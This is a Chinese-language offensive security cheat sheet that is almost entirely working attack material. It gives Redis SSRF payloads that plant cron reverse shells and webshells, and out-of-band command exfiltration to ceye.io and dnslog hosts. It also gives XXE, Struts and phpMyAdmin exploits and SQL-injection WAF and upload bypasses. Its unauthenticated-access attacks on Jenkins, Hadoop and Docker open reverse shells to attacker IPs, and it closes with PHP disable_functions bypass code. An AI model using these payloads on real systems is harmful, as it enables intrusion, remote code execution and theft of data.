将\r字符串替换成%0d%0a
空白行替换为%0a

本地可执行

远程执行需对空格进行编码后再url编码一次
*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$63%0d%0a%0a%0a%0a*/1%20*%20*%20*%20*%20bash%20-i%20>&%20/dev/tcp/192.168.0.108/12138%200>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a

协议

Curl版本需低于7.15.1
file:可回显时，使用file读取任意文件
dict:查看端口，操作内网服务
gopher:可发出get/post请求
使用gopher协议时，要进行两次url编码
http/https:探测存活主机

dict协议写shell

?url=dict://127.0.0.1:6379/set:x:<?php phpinfo();?>
?url=dict://127.0.0.1:6379/config:set:dir:/www/wwwroot/
?url=dict://127.0.0.1:6379/config:set:dbfilename:php.php
?url=dict://127.0.0.1:6379/save
Unicode编码
?url=dict://127.0.0.1:6379/set:x:"\x3C\x3Fphp\x20echo `$_GET[x]`\x3B\x3F\x3E"

slaveof复制shell到目标

From:http://r3start.net/index.php/2020/05/09/683
你的redis设置一个shell的键
Yourredis>FLUSHALL
Yourredis>set shell "<?php phpinfo();?>"
?url=dict://127.0.0.1:6379/slaveof:yourredisIP:6379
?url=dict://127.0.0.1:6379/config:set:dir:/www/wwwroot/
?url=dict://127.0.0.1:6379/config:set:dbfilename:test.php
?url=dict://127.0.0.1:6379/save
?url=dict://127.0.0.1:6379/slaveof:no:one

slaveof反弹shell

?url=dict://127.0.0.1:6379/slaveof: yourredisIP:6379
?url=dict://127.0.0.1:6379/config:set:dbfilename:exp.so
?url=dict://127.0.0.1:6379/MODULE:LOAD:./exp.so
?url=dict://127.0.0.1:6379/SLAVEOF:NO:ONE
?url=dict://127.0.0.1:6379/config:set:dbfilename:dump.rdb
?url=dict://127.0.0.1:6379/system.exec:'curl x.x.x.x/x'
?url=dict://127.0.0.1:6379/system.rev:x.x.x.x:8887

命令执行

>curl http://0ox095.ceye.io/`whoami`
>ping `whoami`.b182oj.ceye.io
>ping %CD%.lfofz7.dnslog.cn 
&
cmd /v /c "whoami > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && set /p MYVAR=< temp3 && set FINAL=!MYVAR!.xxx.ceye.io && nslookup !FINAL!"

XXE

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://b182oj.ceye.io/xxe_test">
%remote;]>
<root/>

Struts

xx.action?redirect:http://b182oj.ceye.io/%25{3*4}
xx.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'whoami'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://b182oj.ceye.io/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}

weblogic

/uddiexplorer/SearchPublicRegistries.jsp?operator=http://b182oj.ceye.io/test&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Businesslocation&btnSubmit=Search

Resin

xxoo.com/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=http://b182oj.ceye.io/ssrf

Discuz

/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://b182oj.ceye.io/xx.jpg[/imgp/]&formhash=xxoo

PHPMyadmin

LOG

show variables like '%general%';  #查看配置
set global general_log = on;  #开启general log模式
set global general_log_file = '/var/www/html/1.php'; 
select '<?php eval($_POST[cmd]);?>'

慢查询

show variables like '%slow%';
set GLOBAL slow_query_log_file='C:/WWW/slow.php';
set GLOBAL slow_query_log=on;
set GLOBAL log_queries_not_using_indexes=on;
select '<?php phpinfo();?>' from mysql.db where sleep(10);

任意文件读取

phpMyAdmin 2.x
POST /scripts/setup.php HTTP/1.1
Host: ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 80action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}

LFI

phpMyAdmin 4.0.1--4.2.12，PHP < 5.3.4
/gis_data_editor.php?token=2941949d3768c57b4342d94ace606e91&gis_data[gis_type]=/../../../../phpinfo.txt%00
phpMyAdmin 4.8.0和4.8.1 后台权限
>select '<?php phpinfo();exit;?>'
/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_***

RCE

PhpMyAdmin 4.0.x-4.6.2，PHP 4.3.0-5.4.6后台权限
>cve-2016-5734.py -u root --pwd="" http://localhost/pma -c "system('ls -lua');"
phpMyAdmin 4.8.0~4.8.3
CREATE DATABASE foo;
CREATE TABLE foo.bar (baz VARCHAR(100) PRIMARY KEY );
INSERT INTO foo.bar SELECT '<?php phpinfo(); ?>';
访问http://10.1.1.10/chk_rel.php?fixall_pmadb=1&db=foo
INSERT INTO pma__column_infoSELECT '1', 'foo', 'bar', 'baz', 'plop',
'plop', 'plop', 'plop','../../../../../../../../tmp/sess_***','plop';
访问
/tbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name[multi_edit][][]=baz&clause_is_unique=1

PHP-FPM RCE

>git clone https://github.com/neex/phuip-fpizdam.git
>cd phuip-fpizdam
>go get -v && go build
>go run . http://127.0.0.1/index.php
http://127.0.0.1/index.php?a=id
多执行几次

phpstudy后门

php:5.2.17   5.4.45GET / HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding:gzip,deflate
Accept-Charset:c3lzdGVtKCJuZXQgdXNlciIpOw==
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 2

IIS写权限

桂林老兵的IIS写权限利用工具

cmdhijack

From: https://hackingiscool.pl/
poc完整的命令行
cmd.exe /c "ping 127.0.0.1/../../../../../../../../../../windows/system32/calc.exe"
可能产生的影响
包括拒绝服务，信息泄露，任意代码执行（取决于目标应用程序和系统）。
以web应用为例

由于使用了escapeshellcmd()，不易受命令注入的影响，使用本方法
一个poc

不限于任何位置，文件

再扩展一下 
如，powershell带-enc执行，或mshta等方法，可参考
https://lolbas-project.github.io/，但是依照windows的特性，在无法将完整字符串解析为有效路径的情况下，会拆分空格后面的内容，这里可以使用&符号
如：
>cmd.exe /c "cmd /c /../../../../../../../../../../windows/system32/calc&powershell -enc xxxx"
>cmd.exe /c "cmd /c /../../../../../../../../../../windows/system32/calc&mshta http://192.168.0.105:8080/xsuUEWJ.hta"

Fuzz/扫描web

>dirb http://192.168.0.1 /root/asp.txt,/root/dir.txt -a "USER-AGENT" –c "Cookie" -z 100
>nikto -C all -h http://192.168.0.107 nikto扫描web服务
?wpscan --url http://192.168.0.107/ -e u --wordlist /root/wordlist.txt 枚举用户爆破密码
?wpscan --url http://192.168.0.107/ -e vp 扫描漏洞插件
?perl joomscan.pl --url 192.168.0.107

WFuzz

爆破文件和文件夹
>wfuzz -w wordlist URL/FUZZ.php
>wfuzz -w wordlist URL/FUZZ
枚举数字参数
>wfuzz -z range,000-999 -b session=session -b cookie=cookie http://127.0.0.1/getuser.php?uid=FUZZ
POST账号密码爆破FUZnZ
>wfuzz -w userList -w pwdList -d "username=FUZZ&password=FUZ2Z" http://127.0.0.1/login.php
随机HTTP头
>wfuzz -z range,0000-9999 -H "X-Forwarded-For: FUZZ" http://127.0.0.1/get.php?userid=666
使用代理fuzz
>wfuzz -w wordlist -p 127.0.0.1:1087:SOCKS5 URL/FUZZ
基础认证爆破
>wfuzz -z list,"username-password" --basic FUZZ:FUZZ URL
【结果过滤】--hc或--ss不显示符合条件的结果。
【结果过滤】--sc或--sl或--sw或--sh显示符合条件的结果。

Cewl

爬行网站存为字典
>cewl http://www.qq.com/ -w dict.txt
指定字典长度
>cewl http://www.qq.com/ -m 1 -w dict.txt
网站提取Email
>cewl http://www.qq.com/ -n –e

Dirsearch

>python3 dirsearch.py --random-user-agents --recursive --thread 50 --extension php --plain-text-report report.txt –url http://127.0.0.1

Bypass WAF

SQL注入分块传输

https://github.com/c0ny1/chunked-coding-converter、

跑注入点被拦截

使用分块传输，右键选择

使用SQLMAP跑注入

>python sqlmap.py -r 1.txt --batch --proxy=http://127.0.0.1:8080 --dbs

自动提供可用的tamper

https://github.com/m4ll0k/Atlas
GET类型的注入
python atlas.py --url http://site.com/index/id/%%10%% --payload="-1234 AND 4321=4321-- AAAA" --random-agent -v
POST类型的注入
python atlas.py --url http://site.com/index/id/ -m POST -D 'test=%%10%%' --payload="-1234 AND 4321=4321-- AAAA" --random-agent -v
请求头注入
python atlas.py --url http://site.com/index/id/ -H 'User-Agent: mozilla/5.0%%inject%%' -H 'X-header: test' --payload="-1234 AND 4321=4321-- AAAA" --random-agent -v
组合tamper
python atlas.py --url http://site.com/index/id/%%10%% --payload="-1234 AND 4321=4321-- AAAA" --concat "equaltolike,htmlencode" --random-agent -v
列出tamper
python atlas.py -g
例子
注入
python sqlmap.py -u 'http://site.com/index.php?id=Price_ASC' --dbs --random-agent -v 3

可以看到被拦截了
查找能绕过的tamper
python atlas.py --url 'http://site.com/index.php?id=Price_ASC' --payload="') AND 8716=4837 AND ('yajr'='yajr" --random-agent -v

根据返回码200得到一个可绕过waf的tamper
versionedkeywords这个tamper
继续注入
python sqlmap.py -u 'http://site.com/index.php?id=Price_ASC' --dbs --random-agent -v 3 --tamper=versionedkeywords
根据状态码来判断有时会有点鸡肋，但是也能用用，随机发挥吧。

垃圾数据

#coding=utf-8
import random,string
from urllib import parse
# code by yzddMr6
varname_min = 5
varname_max = 15
data_min = 20
data_max = 25
num_min = 50
num_max = 100
def randstr(length):
    str_list = [random.choice(string.ascii_letters) for i in range(length)]
    random_str = ''.join(str_list)
    return random_str
def main():
    data={}
    for i in range(num_min,num_max):
        data[randstr(random.randint(varname_min,varname_max))]=randstr(random.randint(data_min,data_max))
    print('&'+parse.urlencode(data)+'&')
main()
放到要注入的字段前后

上传bypass

图片文件头
PNG 的文件头为十六进制的 89 50 4E 47 0D 0A 1A 0A
GIF 为 47 49 46 38 37 61
JPG 为 FF D8 FF E0
添加图片头或合并图片包含
后缀大小写
文件名前缀加[0x09]
上传.htaccess
SetHandler application/x-httpd-php
二次渲染
GIF
找好一个大一点的GIF，尾部使用c32插入shell，上传，下载回来，使用burp的comparer功能找出整个文件没有被渲染的位置，插入shell再上传
JPG
使用脚本直接生成
https://github.com/BlackFan/jpg_payload
PNG
使用脚本直接生成
先取消php.ini注释;extension=php_gd2.dll
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
       0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
       0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
       0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
       0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
       0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
       0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
       0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
    $r = $p[$y];
    $g = $p[$y+1];
    $b = $p[$y+2];
    $color = imagecolorallocate($img, $r, $g, $b);
    imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.webp');
?>
上传php3,php4,phtml等
文件名后加::$DATA
ConTent-Disposition: form-data; name="filepath"; filename="1.asp::$DATA"
ConTent-Disposition: form-data; name="filepath"; filename="1.asp::$DATA\0x00\1.asp0x00.jpg"
asp . (空格+.)
php. .(点+空格+点)
双写phphpp
00截断
Get参数00截断直接添加%00
POST参数00截断修改hex为00
修改一些固定的参数
文件名去掉双引号
加一个filename1的参数
form变量改成f+orm
去掉form-data
在Content-Disposition或form-data;后添加多个空格
引号回车
ConTent-Disposition: form-data; name="filepath"; filename="backlion.asp
"
Content-Type和ConTent-Disposition调换位置
文件名前缀加空格
filename=    "1.asp"
name前加空格
Content-Disposition: form-data;      name="uploaded"; filename="1.asp"
form-data的前后加上+
Content-Disposition: +form-data; name="filepath"; filename="1.asp"
* ASP+IIS
s%elect>select
s%u0065lect>select  
s%u00f0lect>select
s%u0045lect = s%u0065lect = %u00f0lect
u -->%u0055 --> %u0075
n -->%u004e --> %u006e
i -->%u0049 --> %u0069
o -->%u004f --> %u006f -->%u00ba
s -->%u0053 --> %u0073
l -->%u004c --> %u006c
e -->%u0045 --> %u0065-->%u00f0
c -->%u0043 --> %u0063
t -->%u0054 -->%u0074 -->%u00de -->%u00fe
f -->%u0046 -->%u0066
r -->%u0052 -->%u0072
m -->%u004d -->%u006d
Asp+iis&aspx+iis
s%u006c%u0006ect>select
* apache
TEST /sql.php?id=1 HTTP/1.1
* 大小写/关键字
UniOn SeLECT
Mid()substring()  substr()
Hex()ascii()
sleep() =benchmark()
concat_ws()=group_concat()
双重url编码
变换请求方式
HPP参数污染
id=1&id=2&id=3
得到的结果：Asp.net + iis：id=1,2,3 
Asp+iis：id=1,2,3 
Php+apache：id=3
MSSQL:
GET+POST: 
GET:http://192.168.125.140/test/sql.aspx?id=1 union/*
post:  id=2*/select null,null,null
无逗号形式：
?id=1 union select 1&id=2&id=3&id=4 from admin--（）  
利用逗号：
?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--
无效参数形式：
?a=/*&sql=xxx&b=*/  a,b为无效参数
溢出形式：?id=1/*&id=*//*&id=*//*......&id=*//*&id=*/ union  select null,system_user,null from INFORMATION_SCHEMA.schemata
MYSQL：
?id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=….. &id=1 union select 1,2 from admin

数据库

Access

空格符
%09、%0a、%0c、%0d、%16

Mysql

注释符
#、/*...*/、--[空格] ...
空格符
[0x09,0x0a-0x0d,0x20,0xa0]
特殊符号
%a 换行符，可结合注释符使用%23%0a，%2d%2d%0a。
%21  ！叹号
%2b  +  加号
%2d  -  减号
%40  @  符号
%7e   ~  波浪号
Id=1 union select(1),user()
Id=1 union /!12345select/1,user()
Id=1 union [email protected],user()
Id=1 union select {x 1},user()
Id=1 union select"1",user()
Id=1 union select\N,user()
Id=1 union select 1,user()`
Id=1 union select 1,user()""
Id=1 union select 1,user()A
Id=1 union select 1,user()`b
Id=1 union(select 1,(select/!schema_name/from information_schema.SCHEMATA limit 1,1))
Id=1 union(select 1,(select{x schema_name}from information_schema.SCHEMATA limit 1,1))
Id=1 union(select 1,(select(schema_name)from information_schema.SCHEMATA limit 1,1))
浮点数
Id= 1.0union select 1,user()
Id= 1.union select 1,user()
Id= 1E0union select 1,user()
Id=\Nunion select 1,user()
Id=1 unionselect user(),2.0from admin
Id=1 union select user(),8e0from admin
Id=1 union select user(),\Nfrom admin
内联注释
/*!UnIon12345SelEcT*/ 1,user()   //数字范围 1000-50540
mysql黑魔法
select{x username}from {x11 test.admin};
函数
截取
Mid(version(),1,1)
Substr(version(),1,1)
Substring(version(),1,1)
Lpad(version(),1,1)
Rpad(version(),1,1)
Left(version(),1)
reverse(right(reverse(version()),1)) 
连接
concat(version(),'|',user());
concat_ws('|',1,2,3)
字符转换
Ascii() Char() Hex() Unhex()
过滤逗号
127' UNION SELECT * FROM ((SELECT1)a JOIN (SELECT2)b JOIN (SELECT3)c JOIN (SELECT4)d JOIN (SELECT5)e)# 
相当于 union select 1,2,3,4,5
union select * from (select 1)a join(select{x schema_name} from information_schema.SCHEMATA limit 1,1)b
limit 1 offset 0相当于limit 1,0
mid(version() from 1 for 1)相当于Mid(version(),1,1)
<>被过滤
id=1 and ascii(substr(database(),0,1))>64
比较符
greatest(n1,n2,n3,等)函数返回输入参数(n1,n2,n3,等)的最大值
id=1 and greatest(ascii(substr(database(),0,1)),64)=64
函数构造
sleep(5)/benchmark(10000000,SHA1(1))
id=1 xor sleep%23%0a(5)
id=1 xor sleep%2d%2d%0a(5)
id=1 xor sleep([%20]5) 
id=1 xor benchmark%0a(10000000,SHA1(1))
id=1 xor sleep[空白字符](5)
select{x[可填充字符]1}

MSSQL

注释符
/*、--、;00%、/**/
空格符
[0x01-0x20][0x0a-0x0f][0x1a-0x-1f]
特殊符号
%3a 冒号
id=1 union:select 1,2 from:admin
id=1 union select+1,'2',db_name() from admin
id=1 union select-1,'2',db_name() from admin
id=1 union select.1,'2',db_name() from admin
id=1 union select:1,'2',db_name() from admin
id=1 union select~1,'2',db_name() from admin
id=1%20union%20select%201,'2',db_name()%80from%20admin
id=1 union select 1,'2',db_name+() from admin
函数变形: db_name[空白字符]()
浮点数
id=1.1union select 1,'2',db_name()
id=1e0union select 1,'2',db_name()
运算符
id=1-1union select '1',system_user,3 from admin
id=1e-union select '1',system_user,3 from admin
字符串截取函数
Substring(@@version,1,1)
Left(@@version,1)
Right(@@version,1)
charindex('test',db_name())
字符串转换函数
Ascii('a')=char(97) 括号之间可添加空格

WAF

同时提交GET和POST
访问HTTP绕过对HTTPS的防护
%00截断
参数填充垃圾数据，缓冲区溢出
X-FORWARDED-FOR伪造绕过
静态文件/sql.php/1.js?id=1绕过
白名单绕过，URL只要存在某字符就不会拦截
/sql.php/admin.php?id=1
/sql.php?a=/manage/&b=../etc/passwd
/../../../manage/../sql.asp?id=2
伪造User-agent绕过，可改为爬虫agent

未授权访问

Redis未授权访问

测试

>redis-cli -h 127.0.0.1 flunshall 
192.168.0.110:6379>ping
PONG 存在未授权访问

JS打内网

var cmd = new XMLHttpRequest();      
cmd.open("POST", "http://127.0.0.1:6379");      
cmd.send('flushall\r\n');             
var cmd =new XMLHttpRequest();      
cmd.open("POST", "http://127.0.0.1:6379");      
cmd.send('eval \'' + 'redis.call(\"set\",\"1\",\"\\n\\n*/1 * * * * /bin/bash -i >&/dev/tcp/外网IP/5566 0>&1\\n\\n");redis.call(\"config\", \"set\", \"dir\",\"/var/spool/cron/\"); redis.call(\"config\",\"set\", \"dbfilename\", \"root\");' + '\' 0' +"\r\n");       
var cmd =new XMLHttpRequest();      
cmd.open("POST", "http://127.0.0.1:6379");       
cmd.send('save\r\n');

反弹shell

保存为sh
echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.0.108/12138 0>&1\n\n"|redis-cli -h $1 -p $2 -x set 1
echo -e "\n\n */1 * * * * python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.108",12138));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'\n\n"|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron/
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit
执行
>bash 1.sh 192.168.0.120 6379

写shell

6379> config set dir /var/www/html/
6379> config set dbfilename shell.php
6379> set x "<?php phpinfo();?>"
6379> save

SSH

ssh-keygen
本地生成一对密钥
https://github.com/JoyChou93/hackredis
>ssh-keygen -t rsa -C "[email protected]"
>(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > qq.txt
>redis-cli -h 127.0.0.1 flunshall
>cat qq.txt | redis-cli -h 127.0.0.1 -x set crackit
>redis-cli -h 127.0.0.1
6379> config set dir /root/.ssh/
6379> config set dbfilename "authorized_keys"
6379> save
本地登录
#ssh -i id_rsa [email protected]

redis-rogue-getshell

https://github.com/vulhub/redis-rogue-getshell
需要python3.0以上
编译
>cd RedisModulesSDK/
>make
会在此目录下生成exp.so
执行命令
>python3 redis-master.py -r 192.168.0.120 -p 6379 -L 192.168.0.108 -P 12138 -f RedisModulesSDK/exp.so -c "cat /etc/passwd"

redis-rogue-server

https://github.com/n0b0dyCN/redis-rogue-server
需要python3.6以上
编译
>cd RedisModulesSDK/exp
>make
执行
>./redis-rogue-server.py --rhost 192.168.0.120 --lhost 192.168.0.108

也可以反向shell

redis在windows下的利用

Web目录写入木马
启动项
系统DLL劫持(目标重启或注销)
特定软件的DLL劫持
覆盖快捷方式
覆盖配置文件
覆盖sethc等文件
https://github.com/r35tart/RedisWriteFile
>python3 rediswritefile.py --rhost=目标IP --rport=6379 --lhost=本机IP --lport=本地端口 --rpath="在目标保存的路径" --rfile="在目标保存的文件" --lfile="本地文件" --auth=redis密码

Lua RCE

https://github.com/QAX-A-Team/redis_lua_exploit
修改redis_lua.py里的 host 为目标 IP
执行返回正常，反弹shell
>eval "tonumber('/bin/bash -i >& /dev/tcp/192.168.0.108/12345 0>&1', 8)" 0

Redis漏洞利用工具

https://github.com/yuyan-sec/RedisEXP
windows
>RedisExp.exe -rhost 192.168.211.128 -lhost 192.168.211.1 -exec -c whoami
>RedisExp.exe -rhost 192.168.211.128 -lhost 192.168.211.1 -exec -console
linux平台
>RedisExp.exe -rhost 192.168.211.130 -lhost 192.168.211.1 -so exp.so -exec -c whoami
>RedisExp.exe -rhost 192.168.211.130 -lhost 192.168.211.1 -so exp.so -exec -console
文件上传
>RedisExp.exe -rhost 192.168.211.128 -lhost 192.168.211.1 -upload -rfile 1.txt -lfile 2.txt
写shell
>RedisExp.exe -rhost 192.168.211.128 -shell
Lua沙盒绕过命令执行 CVE-2022-0543
>RedisExp.exe -rhost 192.168.211.130 -lua -console
爆破redis密码
>RedisExp.exe -r 192.168.211.128 -brute -pwdf ../pass.txt

Jenkins未授权访问

http://www.qq.com:8080/manage
http://www.qq.com:8080/script
执行命令
>println "ifconfig -a".execute().text
反弹shell
>println "wget http://your.com/back.py -P /tmp/".execute().text
>println "python /tmp/back.py yourIP 8080".execute().text
写shell
>println "wget http://your.com/t.txt -o /var/www/html/1.php".execute().text
>new File("/var/www/html/1.php").write('<?php @eval($_POST[1]);?>');
>def webshell = '<?php @eval($_POST[1]);?>'
>new File("/var/www/html/1.php").write("$webshell");

MongoDB未授权访问

默认端口27017直接连接进行增删改查
连接工具
https://s3.mongobooster.com/download/releasesv5/nosqlbooster4mongo-5.1.12.exe

ZooKeeper未授权访问

默认端口2181
获得服务器环境信息
>echo envi|nc 192.168.0.1 2181
连接
>./zkCli.sh -server ip:port
连接工具
https://issues.apache.org/jira/secure/attachment/12436620/ZooInspector.zip

Elasticsearch未授权访问

默认端口9200
http://1.1.1.1:9200/_plugin/head/
http://1.1.1.1:9200/_nodes
http://1.1.1.1:9200/_river
http://1.1.1.1:9200/_plugin/sql/

Memcache未授权访问

默认端口11211
>telnet 1.1.1.1 11211
>nc -vv 1.1.1.1 11211

Hadoop未授权访问

http://192.168.1.1:8088/cluster
本地监听端口 >> 创建Application >> 调用Submit Application API提交

#!/usr/bin/env python
import requeststarget = 'http://192.168.18.129:8088/'
lhost = '192.168.18.138' # put your local host ip here, and listen at port 9999
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
    'application-id': app_id,
    'application-name': 'get-shell',
    'am-container-spec': {
        'commands': {
            'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
        },
    },
    'application-type': 'YARN',
}
requests.post(url, json=data)

Docker未授权访问

默认端口2375
>docker -H tcp://1.1.1.1:2375 images
本地监听
启动容器
docker -H tcp://1.1.1.1:2375 run -id -v /etc/crontabs:/tmp alpine:latest
docker -H tcp://1.1.1.1:2375 ps
进入容器
docker -H tcp://1.1.1.1:2375 exec -it a8ff7ed880fb sh
echo '* * * * * /usr/bin/nc {ip} 9999 -e /bin/sh' >> /tmp/root #添加计划任务
cat /tmp/root 
exit
Shipyard默认密码
admin/shipyard

ActiveMQ未授权访问

默认端口8161
http://1.1.1.1:8161/admin/connections.jsp
PUT /fileserver/%2F%2F2%083.jsp HTTP/1.0
Content-Length: 27
Host: 1.1.1.1:8161
Connection: Close
Authorization: Basic YWRtaW46YWRtaW4=
123123123123123123123123123

JBOSS未授权访问

http://192.168.1.1:8080/jmx-console/ 无需认证进入
jboss.deployment部署shell
addURL()的paramValue写入远程war木马地址

一些bypass

Linux绕过disable_function

LD_PRELOAD

linux环境
putenv()、mail()可用
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
http://192.168.0.107/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so
outpath是命令输出位置，sopath指定so文件路径。
或
替换php文件中的mail为error_log("a",1);

php7.0-7.3 bypass

直接bypass
https://raw.githubusercontent.com/mm0r1/exploits/master/php7-gc-bypass/exploit.php

windows系统组件com绕过

<?php
$command = $_GET['cmd'];
$wsh = new COM('WScript.shell'); // 生成一个COM对象　Shell.Application也能
$exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>

CGI启动方式

phpinfo中搜索server api是cgi或者fastcgi
如果是cgi模式:上传如下htaccess
Options ExecCGI
AddHandler cgi-script .xx
windows平台
#!C:/Windows/System32/cmd.exe /c start calc.exe
1
linux平台
#!/bin/bash
echo -ne "Content-Type: text:html\n\n"
whoami
如果是fast_cgi，上传如下htaccess
Options +ExecCGI
AddHandler fcgid-script .abc
FcgidWrapper "C:/Windows/System32/cmd.exe /c start cmd.exe" .abc
上传任意文件.abc
相对路径
AddHandler fcgid-script .html
FcgidWrapper "../../php/php7.3.4nts/php-cgi.exe" .htmlAddHandler fcgid-script .xx
FcgidWrapper "../../../WWW/localhost/calc.exe" .xx

ImageMagick组件绕过

imageMagick 版本 v6.9.3-9 或 v7.0.1-0
第一种

<?php
echo "Disable Functions: " . ini_get('disable_functions') . "\n";
$command = PHP_SAPI == 'cli' ? $argv[1] : $_GET['cmd'];
if ($command == '') {
$command = 'id';
}
$exploit = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|$command")'    //核心
pop graphic-context
EOF;
file_put_contents("KKKK.mvg", $exploit);
$thumb = new Imagick();
$thumb->readImage('KKKK.mvg');
$thumb->writeImage('KKKK.webp');
$thumb->clear();
$thumb->destroy();
unlink("KKKK.mvg");
unlink("KKKK.webp");
?>

第二种

#include <stdlib.h>
#include <string.h>
void payload() {
const char* cmd = "nc -e /usr/bin/zsh 127.0.0.1 4444";
system(cmd);
}
int fileno() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}

编译
gcc -shared -fPIC imag.c -o imag.so

<?php
putenv('LD_PRELOAD=/var/www/html/imag.so');
$img = new Imagick('/tmp/1.ps');
?>

常规函数绕过

<?php
echo exec('whoami');?>
------------------------------------------------------
<?php
echo shell_exec('whoami');?>
------------------------------------------------------
<?php
system('whoami');?>
------------------------------------------------------
<?php
passthru("whoami");?>
------------------------------------------------------
<?php
$command=$_POST['cmd'];
$handle = popen($command , "r");
while(!feof($handle))
{        echo fread($handle, 1024);  //fread($handle, 1024);
}
pclose($handle);?>
-------------------------------------------------------
<?php
$command="ipconfig";
$descriptorspec = array(1 => array("pipe", "w"));
$handle = proc_open($command ,$descriptorspec , $pipes);
while(!feof($pipes[1]))
{        echo fread($pipes[1], 1024); //fgets($pipes[1],1024);
}?>

pcntl_exec

开启了pcntl 扩展，并且php 4>=4.2.0 , php5，linux

<?php
if(function_exists('pcntl_exec')) {
pcntl_exec("/bin/bash", array("/tmp/test.sh"));
} else {
echo 'pcntl extension is not support!';
}
?>

test.sh
#!/bin/bash
nc -e /bin/bash 1.1.1.1 8888       #反弹shell

imap_open函数

<?php
error_reporting(0);
if (!function_exists('imap_open')) {
die("no imap_open function!");
}
$server = "x -oProxyCommand=echo\t" . base64_encode($_GET['cmd'] . ">/tmp/cmd_result") . "|base64\t-d|sh}";
imap_open('{' . $server . ':143/imap}INBOX', '', '');
sleep(5);
echo file_get_contents("/tmp/cmd_result");
?>

php7.4 FFI绕过

php 7.4
ffi.enable=true

<?php
$a='nc -e /bin/bash ip 8888';
$ffi = FFI::cdef(
    "int system(char *command);",
    "libc.so.6");
$ffi->system($a);
?>

shellshock

存在CVE-2014-6271漏洞
PHP 5.*，linux，putenv()、mail()可用

<?php
function shellshock($cmd) {
$tmp = tempnam(".","data");
putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
mail("[email protected]","","","","-bv");
$output = @file_get_contents($tmp);
@unlink($tmp);
if($output != "") return $output;
else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?>

蚁剑插件

01利用LD_PRELOAD环境变量
02利用ShellShock（CVE-2014-6271）
03利用Apache Mod CGI
04 PHP-FPM利用LD_PRELOAD环境变量（同1）
05攻击PHP-FPM监听端口
06 Json Serializer UAF
07具有特定析构函数UAF的PHP7 GC

open_basedir绕过

第一种
http://x.com/shell.php?a=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');};
